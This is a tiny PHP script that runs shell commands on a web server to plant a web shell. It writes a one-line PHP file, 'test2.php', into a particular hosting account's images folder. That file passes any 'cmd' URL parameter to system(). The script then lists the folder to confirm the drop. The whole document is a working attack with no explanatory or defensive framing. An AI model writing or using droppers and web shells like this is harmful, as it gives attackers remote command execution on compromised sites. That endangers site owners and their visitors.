<?php
system("pwd");
system("echo \<?php system\(\$\_GET[cmd]\)\;?\> > /home1/castbi/http/http/images/test2.php");
system("ls -a /home1/castbi/http/http/images/");
?>